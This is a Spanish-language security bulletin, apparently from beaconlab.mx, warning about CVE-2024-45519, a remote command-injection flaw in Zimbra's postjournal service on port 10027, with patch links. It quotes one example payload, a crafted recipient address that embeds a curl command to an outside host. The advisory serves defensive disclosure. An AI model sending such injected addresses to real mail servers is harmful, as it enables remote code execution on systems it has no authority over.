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Producto(s) afectado:

e Zimbra Collaboration: 8.8.15 - 10.1.0

Descripcion

Se ha reportado una vulnerabilidad de tipo RCE en el sevidor de correos Zimbra,
denominada como CVE-2024-45519, sin score asignado aun. Esta vulnerabilidad permite
que un atacante remoto ejecute comandos arbitrarios de shell en el sistema objetivo.

El equipo de Proofpoint comentd que el problema tiene su raiz en la forma en que
el binario postjournal basado en C maneja y analiza las direcciones de correo electrénico
de los destinatarios en una funcion llamada "msg_handler()", lo que permite la inyeccion de
comandos en el servicio que se ejecuta en el puerto 10027 al pasar un mensaje SMTP
especialmente disefiado con una direccion falsa (por ejemplo,
"aabbb$(curl${IFS}oast.me)"@mail.domain.com).

Un atacante no autenticado puede enviar datos especificamente disefiados a la
aplicacion y ejecutar comandos del sistema operativo en el sistema vulnerable.

Actualmente existe un PoC disponible que puede acelerar la creacion de exploits

que afecten esta vulnerabilidad. Recomendamos aplicar los parches de seguridad los mas
pronto posible.
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45519
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Solucién

Se recomienda a los usuarios instalar las actualizaciones disponibles en el sitio web del
proveedor. Estas actualizaciones corrigen la vulnerabilidad, evitando que los atacantes
puedan aprovecharla. En el siguiente enlace pueden encontrar informacion de los parches
de seguridad:

e https://wiki.zimbra.com/wiki/Security Center

e http://wiki.zimbra.com/wiki/Security Center#ZCS 9.0.0 Patch 41 Released
e http://wiki.zimbra.com/wiki/Security Center#ZCS 8.8.15 Patch 46 Released
e http://wiki.zimbra.com/wiki/Security Center#ZCS 10.0.9 Released

e http://wiki.zimbra.com/wiki/Security Center#ZCS 10.1.1 Released

Informacién adicional:

e https://thehackernews.com/2024/10/researchers-sound-alarm-on-active.html

e https://www.helpnetsecurity.com/2024/10/02/cve-2024-45519-exploited/

e https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45519

e https://www.darkreading.com/cyberattacks-data-breaches/recent-zimbra-rce-
under-attack-patch-now

Boletin de alerta beaconlab.mx 3


https://wiki.zimbra.com/wiki/Security_Center
http://wiki.zimbra.com/wiki/Security_Center#ZCS_9.0.0_Patch_41_Released
http://wiki.zimbra.com/wiki/Security_Center#ZCS_8.8.15_Patch_46_Released
http://wiki.zimbra.com/wiki/Security_Center#ZCS_10.0.9_Released
http://wiki.zimbra.com/wiki/Security_Center#ZCS_10.1.1_Released
https://thehackernews.com/2024/10/researchers-sound-alarm-on-active.html
https://www.helpnetsecurity.com/2024/10/02/cve-2024-45519-exploited/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45519

~vhw.

@i> BEACON LAB




